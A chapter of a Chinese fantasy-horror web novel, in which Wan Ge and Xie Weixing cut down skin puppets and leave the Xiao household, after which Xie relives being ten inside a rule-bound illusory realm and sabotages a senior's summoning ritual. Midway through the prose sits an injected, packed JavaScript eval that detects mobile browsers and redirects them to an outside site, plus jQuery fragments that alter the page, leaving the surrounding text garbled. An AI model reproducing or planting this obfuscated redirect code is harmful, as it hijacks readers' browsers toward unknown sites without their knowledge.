但是白先生的期待并没有到来。
在电光石火之间,挽戈略微侧身避开了那扑来的银丝,下一个瞬间,刀风已经将银丝斩落。
连同涌出银丝的那下一具人皮傀儡,也被从上到下,沿着脊椎的位置,准确地劈成了两半。
一地红白。
没人敢说话。
——那常人不能睹的一幕,对她完全毫无影响。
“怎么可能……”白先生自己也没有想到这样的发展,脱口而出,“从来没有人,不对,看见这些,你怎么可能七情不乱!”
挽戈一开始只觉得莫名其妙,随后明白了,心想,原来是这个主意。
“那你想错了,”她淡淡解释道,“我没有七情。”
那两具被她剖开的人皮傀儡还在地上抽搐,萧府众人吓得腿软。
谢危行似乎看乐子看够了,伸手一划,缠在他手腕上的铜钱叮当飞散开来,重重钉在地面各处,随后,金纹在地面上飞速蔓延,片刻后,剩余的几具人皮傀儡,就被死死钉在阵的线上。
白先生见状大骇,他再次和剩余的人皮傀儡暴起银丝,谢危行却已经伸手,做了一个向下压的手势。
那金纹攥住了人皮傀儡们的脚踝,将他们重重向下一扯,居然硬生生将银丝从皮肉之下吸出来了!
那几个人皮傀儡发出刺耳的尖叫声。
与此同时,挽戈的刀已经完全出鞘。没人能看清她的身影,冰凉的刀光行云流水般划过,瞬息之前众人就见她已经站在了方才对面的位置,停下了下来。
直到挽戈收刀入鞘,那几个人皮傀儡身上血才喷涌而出,顷刻之间俱栽倒在地,上半身与下半身完全分离。
那当然也包括白先生。
他空白的脸皮重重砸在地面上,手却还在爬。
下一瞬间,他上半身和下半身中的断口处涌出无数银丝,比先前的更多更亮,唰唰地粗砺缝住身体的上下两半,勉强维持住躯体。
白先生没有五官的脸砸在地上,没人看得清他的脸,那本来也没有什么表情可言。只有他自己知道,心中只剩下了巨大的恐惧。
跑。
这个念头立刻占据了他的心的全部。
他骤然站起来,四肢着地,整个人贴着地面,快速向门外冲去!
谢危行指尖一弹,铜钱串重重扣住了白先生的一条腿,金光混合着烧焦的气息。但这次白先生没有丝毫犹豫,喀拉一声——
他居然像壁虎一样,硬生生扯下了自己那条腿。
丢了一条腿,白先生借势一滚,爆出银丝缠住门梁,不过瞬息之间,已经窜出门外。
只剩冷风裹挟着雪粒,灌入堂内。
四下无声。
挽戈无声之间和谢危行交换了一个眼神,二人谁也没有去追。
片刻后,谢危行侧身冲着挽戈笑了下:“东西拿到了,走吧。”
那句走,挽戈当然知道是去哪里。
但是萧母反应过来了,脸色惨白,猛地扑上来:“挽戈,你敢走——你不能走!你怎么这么狠心!娘一手养大你——”
什么养不养的。
挽戈淡淡看了萧母一眼:“我从五岁起,就在神鬼阁。”
萧母眼底终于压不住那冷意:“逆,逆女!”
谢危行乐了:“生而不养,萧夫人算什么人母?”
萧母还要去抓挽戈,但是手硬生生停在了不知道哪里冒出来的金线前——那是谢危行的金线,她此前就领教过厉害,不敢向前。
萧母咬牙切齿:“国师大人仗势欺人!我萧府,可也不是吃素的!”
谢危行这辈子没少听人放过狠话,这么软绵绵的还是第一次,分外新奇,终于重新瞧了萧母一眼:“你要去天子面前状告本座吗?”
萧母胸口剧烈起伏,但最终还是没有再上前一步。
挽戈一手拎着灯,和谢危行并肩离开萧府时,风雪正歇。
.
诡境『万象』。
【规则1:请扮演好自己的身份。】
【规则2:每日暮鼓三声前,请勿离开供奉院。】
规则是直接涌入识海的。并且不止一条。这就是天字上等的诡境。
谢危行垂眼望向自己的时候,视角明显低了一截。他很快发现自己处于一个相当熟悉的斋舍内。从屋内铜镜的反光中,他看见了自己现在的身形。
——不过十岁的少年模样。
谢危行顺手望了眼案上的课业记录。从上面的日期记录,他立刻明白了现在是什么身份。
现在他是十岁时的供奉院首徒,老国师最得意的弟子。
规则1是扮演自己的身份。
谢危行乐了,心想,这他可太熟了。
他当然知道少年时的自己是什么德行——上房揭瓦什么的都是小屁孩玩烂的,他十岁时干的坏事,那可更是坏多了。
谢危行现在的确还不知道,为什么以命灯为引子,去溯洄换命案的因果,会回到这个时间点。
不过,他心想,只要捣乱得足够多,他马上就知道了。
他想了想,想起来了当年十岁这会儿,他大概会干什么坏事,于是相当娴熟地准备开干。
谢危行先去了趟供奉院的符堂。
符堂里面,周师叔正趴在地上,地上乱七八糟铺着许多黄符。
谢危行溜进来的时候,周师叔正撅着屁股,用朱砂在纸上画下最后一笔。
地面上还杂七杂八摆着别的东西,一只铜铃,几面银镜,以及一枚金印。
他一眼就瞧出来了,周师叔准备请神。
“危行?”
周师叔敏锐察觉到谢危行的悄然出现,警惕万分地瞪了他一眼。
他没少从这破崽子手里吃过亏,先发制人呵斥道:“少乱动!”
谢危行乐了下。
还有谁能有回到少年时代的经历?他回到十岁才发现,原来当年周师叔这么好玩。
玩心大发的谢危行,一边又有了坏心眼,一边装乖:“嗯嗯,师叔,我就来学习一下。”
他长的好看,装乖的时候,唇红齿白,黑白分明的眼眸中充满了无辜,站姿端正,看上去相当地懂事。
周师叔才不信他那堆鬼话,警告性地瞪了他一眼,想让他滚:“我这没能教你的东西。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261372|181781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“师叔神通广大,给师叔打下手就够我学很多了,”谢危行睁眼说瞎话,奉承了几句,看上去乖得很,“我给师叔磨墨。”
他居然真的蹲在一边,开始磨墨了。
周师叔狐疑地上上下下扫视了谢危行一番,又盯了一会。
他见谢危行没什么要干坏事的迹象,还以为这破崽子改邪归正了,于是冷哼一声,继续埋头写咒。
谢危行继续蹲在一旁,埋头磨墨,磨得相当专心,相当全神贯注。
过了大约两刻钟,周师叔终于写完了这套请神咒阵。
周师叔只觉得今天符气格外润,思来想去也没觉得自己和先前的步骤有什么不同。
于是周师叔满意地把原因归到谢危行身上,罕见地夸奖了谢危行一句:“磨得不错,长大了。”
谢危行心想,那是。
师叔你等着看十多年后长大了的我的坏心眼吧。
周师叔点了香,向符阵中心重重按下金印,开始念诵法决。
银镜里的波纹一收,随后又一张。像有什么东西在跳动。
周师叔起初怀了些疑惑。这请神的感觉的确和从前不一样,但是他也说不上。直到银镜中一抹红出现,他才顿觉一种不好的预感——
“啊,郎君,”艳丽的影子在银镜中悄然浮现,一点红唇,“请人家来,阵仗也怪大的……”
周师叔一愣,差点把金印砸了。他手忙脚乱地念咒收阵,那艳影还依依不舍:“郎君,怎么又……”
艳影消失在银镜中了。
周师叔的脸青一阵白一阵:“请神,怎么变成了,请,请……”
他硬生生把后面那个“艳鬼”两个字,给吞了下去。
谢危行乐得不行。
但他站在一边,还是面色如常,装得很乖,满眼看上去都是对周师叔的崇敬。
但这根本不影响周师叔立刻猜到了事情的源头,对谢危行怒目而视:“你做了什么手脚!”
他气得要死:“你等着,这次我非得给老国师告状不可——”
他话没说完,门口就已经有人慌慌张张探头出来:“周师叔,老国师传话,过了黄昏就出行,去萧府,有要事。”
那传话的弟子也顺眼看见了谢危行,补了一句:“……老国师说,谢小先生也可随同。”
谢危行敏锐地从对话中捕捉到了他要等的东西。
——萧府。
十岁那年,他去过萧府吗?谢危行想了想,觉得并没有。
他本来就贪玩,这种看不出明显乐子的事,他总是找借口推掉。
不过似乎是那阵子,京里有传闻,说老国师铁了心想收一个相当特殊的小丫头做徒弟。
老国师很少收徒,多少人想成为老国师的门生都求而不得。但是,那丫头的父母却拒绝了。
谢危行作为老国师最得意的弟子,在那段时间里,当然有听闻,他可能会多一个师妹。
师妹能玩吗?少年时的谢危行兴致寥寥。
不过如果是她的话……
谢危行突然间有了很大的兴致。
他回头,冲那传话的弟子道:“我会去。”